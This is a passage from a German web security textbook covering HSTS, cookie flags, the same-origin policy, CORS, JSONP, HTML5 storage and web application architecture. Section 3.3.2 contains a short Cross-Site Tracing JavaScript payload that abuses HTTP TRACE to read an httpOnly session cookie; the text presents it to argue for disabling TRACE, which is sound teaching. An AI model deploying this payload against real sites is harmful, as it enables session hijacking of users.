späteren Offenlegung der Kommunikation durch Verlust des Langzeitschlüssels
gebannt.

3.2.4 HSTS
Der HTTP Strict Transport Security (HSTS, RFC 6797) Header teilt dem
Webbrowser mit, dass Folgezugriffe auf die Webseite immer über ein sicheres
Protokoll zu erfolgen haben. Bei Angabe des Headers wird eine Laufzeit in
Sekunden4 für diese Regel angegeben:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Sobald dieser Header vom Browser interpretiert wird, werden potentielle


zukünftige HTTP-Aufrufe automatisch vom Browser auf HTTPS hochgestuft.
Zusätzlich schützen Webbrowser (bei Verwendung von HSTS) Benutzer vor
unüberlegten Entscheidungen und erlauben nicht mehr das Akzeptieren von
defekten oder invaliden Zertifikaten.
HSTS kann durch zwei Optionen erweitert werden. Durch includeSubDo-
mains inkludiert Subdomains in den HSTS Schutz. Dies ist wichtig, da ein
Angreifer von einer Subdomain auf die Cookies der Hauptdomain zugreifen
kann und dadurch auf HSTS-geschützte Cookies zugreifen könnte.
4
z.B. 31536000 entspricht einem Jahr
26 KAPITEL 3. WEB TECHNOLOGIEN

Durch das Setzen von preload wird der Wunsch der Webseite mitgeteilt
in Google Chrome’s HTTPS preload Liste aufgenommen zu werden5 . Dies
ist eine Liste von Webseiten, die ausschließlich über HTTPS verfügbar sind.
Wird dieser Header gesetzt, ist die Seite effektiv über Chrome nie wieder über
HTTP erreichbar.

3.2.5 Verbindungssicherheit bei WebSockets


Eine WebSocket-URL beinhaltet das zu verwendende Protokoll, dieses kann
entweder ws (WebSocket) oder wss (WebSocket Secure) sein. Aus Sicherheits-
sicht sollte ausschließlich wss verwendet werden.

3.3 Sessions and Cookies


Eine Session ist eine stehende Verbindung zwischen einem Client und einem
Server. Innerhalb der Session kann der Server Zugriffe einem Client zuordnen.
Eine Session wird häufig verwendet um nach erfolgten Login am Server die
darauffolgenden Operationen dem eingeloggten Benutzer zuordnen zu können.
HTTP ist ein zustandsloses Protokoll: jeder Zugriff ist alleinstehend. Die
Session muss daher auf einer höheren Ebene implementiert werden. Im Web-
Umfeld werden zumeist Cookie-basierte Sessions verwendet, andere Möglichkeiten
wären z.B. Token-basierte Systeme.
Ein Cookie ist ein kleines Datenpaket welches im Zuge des Session-Managements
vom Server dem Client mitgeteilt wird. Der Client speichert nun dieses Cookie
und inkludiert es in jedem Folgeaufruf zu dem setzenden Webserver. Ein Coo-
kie besteht aus einem Namen, Wert, Ablaufdatum und einem Gültigkeitsbereich
(Domain und/oder Pfad).
Wird eine Domain für ein Cookie gesetzt, wird das Cookie für diese Domain
und alle Subdomains übertragen. Dies ist überraschend unsicherer als keine
Domain zu setzen: in diesem Fall würde das Cookie nur an die idente Domain
(nicht an die Subdomains) übertagen werden.
Eine wichtige Cookie-Option ist das Setzen eines Gültigkeitspfades. Wird
dieser gesetzt, dann wird das Cookie nur für Ressourcen übertragen, deren
Pfad “unter” diesem Pfad liegen. Auf diese Wiese können mehrere Applika-
tionen auf unterschiedlichen Pfaden auf einem Webserver betrieben werden
während keine Applikation auf die Cookies einer anderen Applikation zugrei-
fen kann.
5
Genauere Informationen können unter [Link] gefunden werden.
3.3. SESSIONS AND COOKIES 27

Zusätzlich zu den Cookie-Einstellungen gibt es spezielle sicherheitsrelevan-


te Cookie-Flags:

3.3.1 secure-Flag
Durch das secure-Flag wird die Übertragung des Cookies mittels HTTPS er-
zwungen. Bei potentiell auftretenden HTTP-Zugriffen wird kein Cookie übermittelt,
der Request allerdings abgesendet. Dies erlaubt es dem Webserver auf sichere
Weise ein HTTP 300 Redirect von HTTP auf HTTPS durchführen.

3.3.2 httpOnly-Flag
Das httpOnly-Flag verbietet es Webbrowsern den Zugriff mittels Javascript auf
das Cookie. Falls das Cookie nur zur Bildung der Benutzersession verwendet
wird, kann dieses Flag durch den Webserver gesetzt, und damit Javascript-
basierte Identity Theft Angriffe stark erschwert werden. Achtung: dieses Flag
besitzt keinen Einfluss auf die Verwendung des HTTP- oder HTTPS-Protokolls.
Problematisch ist in diesem Zusammenhang die HTTP TRACE Methode.
Diese dient zu Analysezwecken und kopiert den eingehenden Request als Con-
tent in das Antwortdokument. Falls der Angreifer nicht mittels Javascript auf
das Session-Cookie zugreifen kann, aber die Möglichkeit besitzt per Javascript
einen HTTP TRACE Aufruf auf den Opfer-Webserver abzusetzen, kann er
auf diese Weise das Session-Cookie extrahieren:
<script>
var xmlhttp = new XMLHttpRequest();
var url = '[Link]

[Link] = true; // send cookie header


[Link]('TRACE', url, false);
[Link]();
</script>

Aus diesem Grund wird empfohlen, auf Webservern immer HTTP TRACE
zu deaktivieren.

3.3.3 sameSite-Flag
Das sameSite-Flag dient zur Vermeidung von CSRF-Angriffen6 . Das Flag un-
terrichtet den Browser, unter welchen Umständen ein Session-Cookie an eine
Webseite übertragen werden soll.
6
siehe auch Seite 158
28 KAPITEL 3. WEB TECHNOLOGIEN

Bei Verwendung von strict wird niemals ein Session-Cookie im cross-domain


Kontext übertragen. Dies bedeutet, dass das Cookie nur übertragen wird,
wenn der Benutzer von der Webseite auf einen Link/eine Operation auf der
identen Webseite navigiert. Wird z.B. ein Link auf die Webseite von einer ex-
ternen Quelle angeklickt (z.B. innerhalb eines Forums oder ein Link innerhalb
einer Email), wird bei dem URL-Aufruf kein Cookie übergeben. Hier muss
beachtet werden, dass falls die Webseite eine Unvalidated Forward or Redi-
rect-Lücke besitzt, der Angreifer diese ansteuern kann und bei dem durch-
geführten zweiten Aufruf der Browser das Cookie inkludiert und dadurch po-
tentiell bösartige Aktionen ausgeführt werden können.
Bei Verwendung von lax darf der Browser bei dem cross-site Zugriff auf
die Webseite das Cookie übertragen, dies aber nur wenn eine sichere HTTP
Methode (nicht daten-verändernd) verwendet wird und das Ziel eine top-level
navigation ist (sprich die Webseite aufgerufen wird und nicht eine Operation
innerhalb der Webseite).
Google wollte mit Chrome 807 seinen Umgang mit dem SameSite-Flag
verschärfen: als default würde SameSite=Lax als Default verwendet werden,
der Wert SameSite=None würde vom Webbrowser ignoriert werden. Aufgrund
der Corona/Covid-19 Situation wurden diese Änderungen verschoben.

3.3.4 Beispiel für Cookies


Ein einfaches Cookie-Beispiel bei dem das Cookie sessionid gesetzt wird. Der
Zugriff mittels JavaScript wurde durch httpOnly verboten, das Cookie ist für
alle Pfade gültig. Da kein Ablaufdatum (Expires) bzw. Lebenszeit (Max-Age)
angegeben wurde, wird das Cookie beim Schließen des Browsers gelöscht:

Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/

Das folgende Cookies mit Namen id wird vor der unsicheren Übertragung
mittels HTTP (Secure) als auch vor Zugriffen mittels JavaScript (httpOnly)
geschützt. Die Lebensdauer wurde mit einem absoluten Datum angegeben:

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;


,→ HttpOnly

Ein Beispiel für das Setzen der sicherheitsrelevanten Header:

Set-Cookie: CookieName=CookieValue; SameSite=Strict; httpOnly; Secure;

7
voraussichtliches Veröffentlichungsdatum: Februar 2020.
3.4. JAVASCRIPT 29

3.4 JavaScript
Wird über Webprogrammierung gesprochen fällt früher oder später der Name
der Programmiersprache JavaScript (auch teilweise mit JS abgekürzt). Im
Jahr 1995 war das Web noch statisch8 , der vorherrschende Webbrowser war
Netscape Navigator, Microsoft Internet Explorer war gerade in einer ersten
Version erschienen. Um dynamische client-seitige Webseiten zu ermöglichen
beauftrage Netscape Brendon Eich damit eine neue Programmiersprache für
die Exekution innerhalb des Webbrowsers zu entwicklern. Diese wurde initial
LiveScript getauft, aus Marketing-Gründen — Java war damals der aktuelle
Hype — wurde diese Sprache in JavaScript umbenannt.
Im Laufe der Zeit entwicklete9 Microsoft für den Internet Explorer einen
Klon: JScript. Leider waren die Netscape- und Microsoft-Versionen teilweise
inkompatibel zueinander. Netscape versuchte diesen Wildwuchs durch eine
Standardisierung der Sprache durch ECMA namens ECMAScript entgegen zu
wirken, da mittlerweile Microsoft Internet Explorer marktbeherrschend war,
und das damalige Microsoft noch weniger offener, wurde dieser Standard nie
von der breiten Masse angenommen.
Dies änderte sich 2008: seit 2005 wurde AJAX vermehrt verwendet und
basierte auf JavaScript, ebenso gab es mittlerweile drei große JavaScript-
Familien: Mozilla/Firefox, Microsoft/Internet Explorer und Google/Chrome.
Die Hersteller entschlossen sich, JavaScript zu standardisieren und gemein-
sam an ECMAScript zu arbeiten. Ende 2009 wurde als Ergebnis ECMAS-
cript5 veröffentlicht. Mit ECMAScript6 entstand 2015 die ,,moderne” JavaS-
cript Sprache, seitdem entscheiden jährlich neue ECMAScript-Versionen.
Während JavaScript-Engines ursprünglich nur im Browser eingesetzt wur-
den, änderte sich dies 2010 mit dem Erscheinen von [Link]. Diese Umgebung
verwendete zwar die Google V8 JavaScript-Engine, wurde aber als ein Ser-
ver gestartet. Durch diese Entwicklung konnte in JavaScript auch server-seitig
entwickelt werden. Da ,,die Branche” immer einen Mangel an Programmierern
hat und viele ,,Entwickler” JavaScript ,,konnten” wurde diese Möglichkeit ger-
ne genutzt.
Auch außerhalb von Browsern wurden Einsatzgebiete für JavaScript ent-
deckt. PhoneGap (mittlerweile Apache Cordova) erlaubte das Entwickeln von
mobilen Anwendungen mittels HTML, JavaScript und CSS seit 2009, seit
2010 können mittels Electron traditionelle Desktop-Applikationen in JavaS-
cript entwickelt werden.
8
Im Sinne von: alle Webseiten wurden von Servern zugestellt, die Webbrowser zeigten
diesen Content nur statisch an.
9
eigentlich reverse-engineerte. . .
30 KAPITEL 3. WEB TECHNOLOGIEN

3.4.1 Die Sprache JavaScript


JavaScript selbst ist eine Multi-Paradigma Programmiersprache und war in-
itial primär für imperative und funktionale Programmierstile ausgelegt. Mit
späteren ECMAScript-Versionen wurden die Objekt-orientierten Ansätze aus-
gebaut, es blieb allerdings bei einer Prototyp-basierten Vererbung. Auch das
Typsystem ist noch immer dynamisch, optionales static-typing wird durch
Projekte wie TypeScript oder flow bereitgestellt. Source Code kann in mehre-
re Module strukturiert werden, auch dies ist mittlerweile Teil des ECMAScript
Standards.
Betreffend der Nebenläufigkeit wurde ein Event-basierter Ansatz gewählt.
Dies führte zu Problemen bei langlaufenden Prozessen/Requests, daher hat
sich innerhalb von JavaScript-Programmen die Verwendung von Callback-
Funktionen etabliert. In ECMAScript6 wurden ,,elegantere” Konzepte wie
Promises und Futures eingeführt, mit ECMAScript7 dieser Einsatz durch
Schlüsselwörter wie async/await vereinfacht.
Aktuell kann davon ausgegangen werden, dass JavaScript nicht so schnell
von der Bildfläche verschwinden wird. Für weiterführende Informationen zu
der Programmiersprache, bzw. zu deren moderneren Versionen, wird die Lektüre
von The Modern JavaScript Tutorial 10 bzw. von You don’t know JS 11 emp-
fohlen.

3.5 Same-Origin-Policy (SOP)


Die Same-Origin-Policy ist fixer Bestandteil moderner Browser. Origin ist
definiert als die Kombination von Schema, Domainname und Port12 (z.B. ht
tps://[Link]). Die Same-Origin-Policy moderner Browser sagt aus,
dass ein Skript das von Seite 1 geladen wurde, nur auf Ressourcen auf Seite 2
zugreifen darf, wenn beide Seiten den identen Origin besitzen.
Die Same-Origin-Policy ist essentiell für die Sicherheit. Würde es diese
nicht geben, könnte Javascript ausgehend von einer Seite auf die Daten (DOM)
einer externen Seite zugreifen. Da dieser Zugriff durch den Webbrowser ge-
schieht, würde bei diesem Zugriff das Session-Cookie mit übertragen werden
und die Operation würde mit der Identität des Webbrowser-Benutzers durch-
geführt werden.
10
[Link]
11
[Link]
12
Achtung: der Internet Explorer Browser ignoriert den Port bei der Bestimmung des
Origins!
3.5. SAME-ORIGIN-POLICY (SOP) 31

3.5.1 Cross-Origin Resource Sharing (CORS)


Während die Same-Origin-Policy aus Sicherheitssicht begrüßenswert ist, muss
sie teilweise aufgeweicht werden. Zum Beispiel könnte eine Webseite aus Si-
cherheitsgründen auf mehrere Teilserver aufgeteilt worden sein: [Link]
beinhaltet die klassische Webseite, während [Link] Operationen anbie-
tet, die von www aus aufgerufen werden sollten.
Um diese Zugriffe sauber zu erlauben, wird Cross-Domain Resource Sha-
ring verwendet. Hierbei werden zusätzliche Browser-Header verwendet, über
diese wird dem Webbrowser signalisiert, auf welche Operationen zugegriffen
werden darf.
Da diese Information über HTTP Header mitgeteilt wird, muss vor der
eigentlichen Operation eine Kommunikation zwischen dem Webbrowser und
dem API Server geschehen (wenn der Header erst als Antwort auf die aus-
geführte Operation übertragen worden wäre, wäre es etwas spät. . . ). Dafür
wird die so genannten preflight authorization verwendet.
Operationen, bei denen Webbrowser CORS durchführen sollten:

ˆ alle HTTP Methoden ausser HTTP GET und HTTP POST

ˆ HTTP POST, abhängig vom verwendeten Content-Type

ˆ AJAX-Requests

ˆ Web Fonts

Ist eine CORS-Authorization notwendig, werden folgende Schritte durch-


geführt:

1. Der Webbrowser eines Benutzers erkennt, dass er ausgehend von www


auf api zugreifen will und hierfür ein CORS Authorization notwendig
ist.

2. Um diese durchzuführen, versendet er einen HTTP OPTIONS request


auf die gewünschte Operation auf api und setzt dabei den Origin Header:
Origin: [Link] auf die aufrufende Webseite.

3. Der api Webserver antwortet nun mit dem HTTP Header Access-Control-
Allow-Origin: [Link] und signalisiert dem Webbrowser dass der
Zugriff auf api ausgehend von www erlaubt ist.

4. Der Webserver führt nun die Operation auf api durch.


32 KAPITEL 3. WEB TECHNOLOGIEN

3.5.2 JSONP
Vor der Verfügbarkeit von CORS wurde häufig JSONP zum Datenaustausch
mittels Javascript bzw. zum Umgehen der SOP verwendet. Bei diesem Verfah-
ren werden die gewünschten Daten über einen GET-Request als Javascript-
Datei geladen. Damit die geladenen Daten an Javascript übergeben werden,
wird beim Inkludieren der Daten eine Callback Funktion mit übergeben.
Ein Beispiel, mittels der URL /php/[Link]?callback=callback
wird eine Operation aufgerufen, der Parameter callback gibt an, wie die lokale
Javascript-Callback Funktion heißt. Das Antwortdokument ist z.B.:

callback('{ "name":"John", "age":30, "city":"New York" }');

In der aufrufenden Webseite würde der Call nun folgendermaßen aussehen:

<script>
function callback(data) {
[Link](data);
}
</script>
<script src="/[Link]?callback=callback></script>

Es wird also vom Server ein Funktionsaufruf (auf die Callback-Funktion)


mit den serverseitigen-Daten erzeugt und dadurch im Webbrowser die jewei-
lige Javascript-Funktion aufgerufen. In diesem Fall greift die SOP nicht (da
der src-Aufruf ein GET-Request ist), allerdings muss bei der Eingabeprüfung
innerhalb der callback-Funktion darauf geachtet werden, ob Schadcode enthal-
ten ist. Aus diesem Grund wird empfohlen, immer CORS anstatt von JSONP
einzusetzen (abgesehen davon, dass eine JSONP-Operation meistens für alle
Teilnehmer des Internets verfügbar ist).

3.6 WebSockets
WebSockets bieten eine bidirektionale Verbindung zwischen Webbrowser und
Webserver. Im Gegensatz zu klassischen HTTP (1.0/1.1) kann der Server auch
Nachrichten zum Client pushen, ebenso ist der Overhead geringer, da keine
dezidierten HTTP-Header pro übertragener Nachricht anfallen.
Der WebSocket wird durch einen Client-Request aufgebaut. Bei diesem
teilt der Client mit, dass er gerne die Verbindung auf einen WebSocket upgra-
den will, im Erfolgsfall entgegnet der Server mit einem HTTP 101 Code. Bei
der initialen Client-Anfrage werden alle HTTP Header mit übertragen, der
3.7. WEBASSEMBLY 33

Server erlangt so Zugriff auf etwaige Authorization-Header und/oder Session-


Cookies und kann so Clients identifizieren.

3.7 WebAssembly
WebAssembly erlaubt es, hoch-performante Programme zu schreiben, welche
innerhalb eines Webbrowsers ausgeführt werden. Einzelne Funktionen, die in
WebAssembly geschrieben werden, können über JavaScript aufgerufen werden.
Hier wären zwei Angriffsmöglichkeiten offensichtlich:

ˆ Verwendung von WebAssembly um einen hoch-performanten Crypto-


Miner im Browser auszuführen.

ˆ Verwendung von WebAssembly zum Auslagern von Teilen von JavaScript-


Schadcode um auf diese Weise die Detektion durch Anti-Malware Tools
zu umgehen.

Aktuell (Stand Anfang 2020) waren keine großflächigen Angriffe mittels


WebAssembly bekannt.

3.8 HTML5 / Progressive Web Appplications


Im Laufe der Zeit wurden die Möglichkeiten der Webbrowser zur Interakti-
on mit Benutzern bzw. ihrer Umgebung immer stärker erweitert. Diese neuen
Möglichkeiten können zumeist über JavaScript innerhalb des Browsers ange-
sprochen werden. Indirekt werden sie allerdings weiterhin über die Webserver
kontrolliert, da diese den JavaScript Code ja zuerst auf den jeweiligen Web-
seiten platzieren müssen.

3.8.1 HTML5 WebStorage/LocalStorage


HTML5 LocalStorage oder WebStorage bietet Webapplikationen die Möglichkeit
lokal größere Datenmengen (um die fünf Megabyte) zu speichern. Im Gegen-
satz dazu sollte bei Cookies davon ausgegangen werden, dass maximal 4096
Byte gespeichert werden können.
Ähnlich wie bei Cookies kann ein Angreifer mit einer Javascript-Lücke die
lokalen Daten modifizieren. Eine Webapplikation muss daher auf jeden Fall die
Integrität der gespeicherten Daten vor jedem Zugriff überprüfen. Da LocalSto-
rage im Klartext abgelegt wird, muss bei sensiblen Daten die Webapplikation
selbst für die Vertraulichkeit der Daten durch Verschlüsselung sorgen.
34 KAPITEL 3. WEB TECHNOLOGIEN

Der Entwickler kann zwischen SessionStorage und LocalStorage unterschei-


den. Ersteres wird beim Schließen des Browser-Fensters verworfen, letzteres
wird wirklich langfristig persistiert. Wenn möglich sollte SessionStorage ver-
wendet werden.
Verglichen zu Cookie ist WebStorage und SessionStorage stärker gegenüber
XSS-Angriffen verwundbar. Dies ist durch zwei Probleme bedingt:

1. Cookies können durch Verwendung des httpOnly-Flags den Zugriff durch


JavaScript unterbinden. Bei WebStorage wurde dieser Sicherheitsmecha-
nismus nicht vorgesehen.

2. Cookies können auf einen Unterpfad gescoped werden. Werden z.B. zwei
Webapplikationen auf einem gemeinsamen Server Betrieben, kann ein
Cookie z.B. für [Link] und ein Cookie für
https.//[Link]/app2 ausgestellt werden. Eine Applikation
besitzt keinen Zugriff auf das Cookie der anderen Applikation. Bei Web-
Storage kann dies nicht durchgeführt werden, WebStorage ist immer für
die Domain gültig. Das heißt, dass ein Angreifer mit einem XSS-Fehler
in app1 auf den WebStorage der app2 zugreifen kann.

Aus diesen Gründen verbieten einige Sicherheitsrichtlinien den Einsatz von


HTML5 Web- und SessionStorage.

3.8.2 HTML5 WebWorkers


Die Javascript-Umgebung eines Webbrowers ist eine Single-Thread Umge-
bung. Wenn ein Javascript länger läuft, blockiert es die Ausführung aller an-
deren JavaScripts auf der Seite.
Um long-running JavaScripts zu erlauben, wurden WebWorker eingeführt.
Dies sind JavaScript Programme die analog zu einem Background-Thread ge-
startet werden und an welche Nachrichten von der Webseite aus verschickt
werden können.
Da WebWorker selbst AJAX-Requests (XMLHttpRequest) ausführen, und
potentiell die CPU des Hosts auslasten können, muss bei deren Entwicklung
darauf geachtet werden, dass ein Angreifer nicht Zugriff auf diese erhält. Ins-
besondere sollten keine benutzer-bereitgestellten Daten direkt an Webworker
übergeben werden.
3.9. REFLEKTIONSFRAGEN 35

3.8.3 Interaktionsmöglichkeiten
Webbrowser ersetzen aktuell Desktop-Applikationen, benötigen hierfür aller-
dings erweiterte Interaktionsmöglichkeiten. Diese werden durch neue Stan-
dards geschaffen, zum Beispiel:

ˆ WebRTC erlaubt die peer-to-peer Kommunikation zwischen Browsern


und wird z.B. für Audio- oder Videokonferenzen verwendet.

ˆ WebNFC erlaubt die Verwendung von NFC über Webbrowser.

ˆ WebBluetooth erlaubt es, JavaScript auf konfigurierte BlueTooth LE


devices zuzugreifen und wird für SmartHealth bzw. SmartHome Anwen-
dungen benötigt.

Bei diesen Schnittstellen sind aktuell weniger Sicherheits-, sondern eher


Privatsphäre-Gefährdungen bekannt. Generell kann hier das Gefährdungspotential
mit jenem von Mobilapplikationen auf Smartphones verglichen werden.

3.9 Reflektionsfragen
1. Wie können HTTP Header im Zuge einer Information Disclosure ver-
wendet werden?

2. Was versteht man unter SOP? Warum und wie kann dieses Prinzip mit
CORS aufweichen?

3. Was sind HTTP Methoden? Erkläre safe und idempotente HTTP Me-
thoden.

4. Welche Vor- und Nachteile besitzt die Verwendung von Perfect Forward
Secrecy?

5. Welche Flags sollten bei Verwendung von HTTP Cookie-basierter Ses-


sions gesetzt werden?

6. HTTP Cookies als auch HTTP5 localStorage/sessionStorage können zur


Speicherung von lokalen Daten verwendet werden. Erläutere die Unter-
schiede.
KAPITEL 4
Web Applikationen

Der Gegenstand unserer Untersuchungen ist eine programmierte Webappli-


kation. Dieses Kapitel soll ein Grundverständnis über den Aufbau einer We-
bapplikation bieten.

4.1 Struktur
Eine Webapplikation besitzt sowohl eine interne Architektur (Struktur der
Applikation bzw. des Source Codes) als auch eine Systemarchitektur (Integra-
tion mit externen Systemen). Eine Webapplikation wird in einer oder meh-
reren Programmiersprachen implementiert, zumeist unter Zuhilfenahme von
Web-Frameworks bzw. -bibliotheken. Diese können auch Bestandteil der Stan-
dardbibliothek einer der verwendeten Programmiersprachen sein.
Das Werk des Entwicklers ist der Source Code, welcher die benötigten
Funktionen der Webapplikation implementiert. In Abhängigkeit von der ver-
wendeten Technologie wird dieser Code auf den Applikationsserver als Source
Code oder in kompilierter Form eingespielt und auf diesem schlussendlich auch
exekutiert. Während der Exekution wird zumeist ein Applikationsserver invol-
viert. Dieser kann entweder als eigenständiger Prozess (z.B. Apache Tomcat
als Applikationsserver für Java Servlets), innerhalb des Webservers (z.B. die
Kombination von Apache Webserver mit mod php für PHP) oder sogar ein
Teil des kompilierten Programms sein (z.B. bei Verwendung von statischen
Binaries mit Go oder Rust).
Ein häufiges Problem ist die Zuordnung der Admin-Verantwortung zu den
jeweiligen Komponenten. Es kann passieren, dass Entwickler davon ausgehen,

37
38 KAPITEL 4. WEB APPLIKATIONEN

dass eine Komponente von Administratoren verwaltet wird und vice versa.
Dadurch kann es zum Unterlassen wichtiger Updates kommen.

4.1.1 Wahl der Programmiersprache


Zur Umsetzung einer Applikation wird eine Programmiersprache bemüht. Je
nach Abstraktionslevel und Zielpublikums der Programmiersprache (bzw. des
verwendeten Frameworks) ergeben sich positive und negative Auswirkungen
auf die Sicherheit der Applikation.
Hierdurch sollte allerdings kein Chauvinismus bedingt werden. Es ist so-
wohl möglich in einer sicheren Programmiersprache unsicher zu programmie-
ren als auch vice versa. Programmierer sollten sich der jeweiligen Eigenarten
der gewählten Programmiersprache bewusst sein und ggf. vorsorglich gewisse
Features nur unter Bedacht einsetzen.
Einflussreicher auf die Sicherheit der Applikation ist die Selektion von si-
cheren Bibliotheken und Komponenten. Hier sollten Komponenten mit einer
guten Sicherheitshistorie gewählt werden, es ist essentiell, zeitnahe auch Si-
cherheitsupdates für verwendete Komponenten einzuspielen.

4.1.2 Interne Architektur


Die interne Struktur beschreibt, wie die Webapplikation selbst gebaut, und der
Code strukturiert wurde — also wie die Funktionen auf Source-Code Kompo-
nenten aufgeteilt wurden. Die interne Architektur wird stark durch das ver-
wendete Framework und der verwendeten Programmiersprache geprägt. Es
ist sinnvoll, sich an die Annahmen und Konventionen des verwendeten Fra-
meworks zu halten anstatt gegen diese Konventionen anzukämpfen.

Request-Routing
Ein guter Unterscheidungspunkt ist, wie der Webserver erkennen kann, dass
ein eingehender HTTP Request über einen Applikationsserver, und damit
als Applikationscode, ausgeführt werden soll. Initial wurde dies primär über
die Dateien im Dateisystem erkannt. Ein Beispiel: gegeben ein Webroot von
/var/www/ und eine Datei /var/www/[Link] wird ein Aufruf der
zugeordneten Webseite [Link]
an die Datei [Link] weitergeleitet und (falls PHP am Server konfigu-
riert wurde) als PHP Applikation ausgeführt. Dieser Aufbau ist fehleranfällig:
falls ein Entwickler eine .php-Datei am Server vergisst oder ein Angreifer ei-
ne zusätzliche .php-Datei am Server hochladen kann, kann es zu einer un-
gewollten Code-Execution kommen. Neuere Frameworks bieten zumeist die
4.1. STRUKTUR 39

Möglichkeit, ein explizites Request-Routing zu definieren, so könnte z.B. das


PHP-Framework Laraval mit folgender routes/[Link] Konfiguration1 gest-
artet werden:

Route::get('/[Link]', 'SomeController@operation');

In diesem Fall wird ein eingehender Request auf /[Link] an


die Methode operation des Controllers SomeController weitergeleitet. Auf
diese Weise wird explizit definiert, welche Operationen wie erreichbar sind
und wo sich der aufzurufende Source-Code befindet. Falls ein Angreifer eine
zusätzliche PHP-Datei am Webserver hinterlegt, fehlt diese Routing-Konfiguration
und sie wird vom Applikationsserver nicht verwendet.

Model-View-Controller (MVC) Pattern


Ein häufiges Muster für die interne Code-Struktur ist das MVC-Pattern. Hier
wird die Funktionalität auf folgende groben Bereiche aufgeteilt:

Model ist zuständig für die Speicherung von Daten. Zumeist wird die Geschäftslogik
innerhalb des Models abgebildet (thin controller, fat model ).

View : eine View dient zur Darstellung von Daten. Zumeist wird jede einzelne
Webseite über ein View-Objekt abgebildet. Mehrere View-Objekte pro
Datum sind möglich, so kann z.B. das gleiche Model mittels einer View
als Webseite ausgegeben ausgegeben, und mittels eines weiteren View-
Objekts als Excel-Sheet heruntergeladen, werden.

Controller akzeptiert Eingaben (z.B. HTTP- oder WebSocket-Requests),


überprüft diese und interagiert mit dem Model um Geschäftsprozesse
anzustoßen. Um eine Antwort gegenüber dem Client zu präsentieren,
werden Daten vom Controller an die View-Objekte übergeben.

Klassische Webapplikationen waren historisch thin-client Applikationen:


die gesamte Logik wird server-seitig ausgeführt, der Client (Webbrowser) dient
rein zur statischen Darstellung. Mit JavaScript entstand die Möglichkeit, in-
nerhalb des Browsers Code auszuführen. Einige Frameworks wie [Link]
oder React implementieren das MVC-Pattern samt Routing innerhalb des
Browsers. Der Server dient als Datenquelle und bietet jene zumeist über
Webservices an.
1
[Link]
40 KAPITEL 4. WEB APPLIKATIONEN

4. Resulting Document
View

1. Requests
Document 3. Render View
Browser Controller
with Data

Model
2. Retrieve or
Manipulate
Data

Abbildung 4.1: Die Model-View-Controller (MVC) Architektur

Die Wahl der Struktur besitzt Einfluss auf Sicherheitsentscheidungen der


Applikation. Bei einem klassischen server-seitigen MVC-Pattern werden z.B.
technische Überprüfungen auf Schadcode in User-Eingaben, Authentication-
und Authorization-Checks innerhalb von Controllern implementiert. Wird client-
seitig JavaScript verwendet, muss der server-seitige Service eine Überprüfung
der JavaScript-Anfragen auf Schadcode, Authentication- und Authorization
durchführen.

Single-Page Applications und Progressive Web Applications


Die Möglichkeiten von JavaScript und HTML5 wurden immer mächtiger. Dies
führte zu Architekturen wie Single-Page Applications (SPA) bei denen alle
Inhalte dynamisch per JavaScript geladen bzw. generiert werden.
Werden diese SPAs mit HTML5 Offline-Fähigkeiten (HTML5 localStora-
ge) und langlebigen nebenläufigen JavaScript-Prozessen (HTML5 WebWor-
ker) kombiniert, können offline lauffähige Webseiten geschrieben werden, die
klassischen Desktop-Applikationen sehr ähnlich sind. Diese werden häufig Pro-
gressive Web Applications (PWA) genannt. Werden Daten offline gespeichert,
müssen deren Integrität und Vertraulichkeit mit geeigneten Methoden gewährleistet
4.1. STRUKTUR 41

werden.

4.1.3 System-Architektur einer primitiven Web-Applikation


Eine einfache Webapplikation wird zumeist aus drei groben Komponenten
bestehen:

ˆ Webserver: dient zur Bereitstellung statischer Dateien und leitet dyna-


mische Anfragen an die jeweiligen Applikationsserver weiter. Webser-
ver sind optimiert für das effiziente Zustellen statischer Inhalte. Unter
POSIX-Betriebssystemen wie Linux befinden sich am Websever die Web-
Dateien häufig im Verzeichnis /var/www.
ˆ Applikationsserver: beinhalten die Applikation und bieten die Laufzeit-
umgebung der Applikation an. Die Applikation kommuniziert mit einer
Datenbank zur Speicherung dynamischer Daten.
ˆ Datenbank: beinhaltet dynamische Daten.

Die Bearbeitung einer Client-Anfrage durch den Applikationsserver kann


längere Zeit benötigen. Während der Bearbeitung blockiert der Applikations-
server — um einen höheren Durchsatz und geringere Latenzzeiten zu erreichen
wird häufig ein Webserver mit mehreren Applikationsservern kombiniert.
Je nach Webserver- und Applikationsserverimplementierung kann der Ap-
plikationsserver Teil des Webservers sein. Intern sind die Funktionalitäten
allerdings getrennt. Im Sinne von Separation of Concerns ist es vorteilhaft,
Applikationsserver und Webserver zu trennen. Dadurch ist es möglich, die
unterschiedlichen Serverprozesse mit eigenständigen Benutzerrollen zu betrei-
ben.

Potentielle zusätzliche Komponenten bei Webapplikationen


Während Webserver, Applikationsserver und Datenbank zum Betrieb einer
dynamischen Webapplikation prinzipiell ausreichen, kann es zu einer Inflation
von externen Komponenten kommen, dies wird in Grafik 4.2 gezeigt. Beispiele
potentieller zusätzlicher Komponenten:

ˆ Load-Balancer: verteilen den Traffic auf mehrere Webserver. Hier kann


es zu Problemen beim Session-Management kommen.
ˆ Content Delivery Networks (CDNs): dienen zur Performancesteigerung
bei der Zustellung statischer Daten. Die Inhalte werden über ein geogra-
phisch verteiltes Netzwerk direkt an die Clients zugestellt.
42 KAPITEL 4. WEB APPLIKATIONEN

External Web Browser CDN


Services

Load Balancer

Web Server

App Servers Full-Text Search

Job-Server DB Cache Store

Abbildung 4.2: Beispiel der Komponenten einer Webapplikation

ˆ Caching Services werden verwendet, um häufig benötigte Daten oder


Webseitenfragmente zwischenzuspeichern. Zumeist geschieht dies in-memory,
bekannte Produkte sind z.B. memcached. Ein häufiges Problem ist, dass
der Zugriff ohne Überprüfung der Autorisierung erfolgt. Somit erhält ein
Angreifer mit Zugriff auf einen Caching Service potentiell auch Zugriff
auf sensible Daten.

ˆ Job Server: eine Client-Anfrage muss innerhalb kurzer Zeit beantwortet


werden, falls dies nicht erfolgt kann im worst-case der Client-Browser die
Verbindung unterbrechen. Um trotzdem langfristige Operationen aus-
zuführen, können diese nebenläufig durch einen Job-Servers ausgeführt
werden. Bekannte Produkte in diesem Umfeld sind RabbitMQ oder Re-
dis. Ein potentielles Problem ist, dass Jobs Datenbankzugriffe benötigen
und daher der Job Worker eine bestehende Verbindung zur Datenbank
besitzt (welche von einem Angreifer ausgenutzt werden kann).

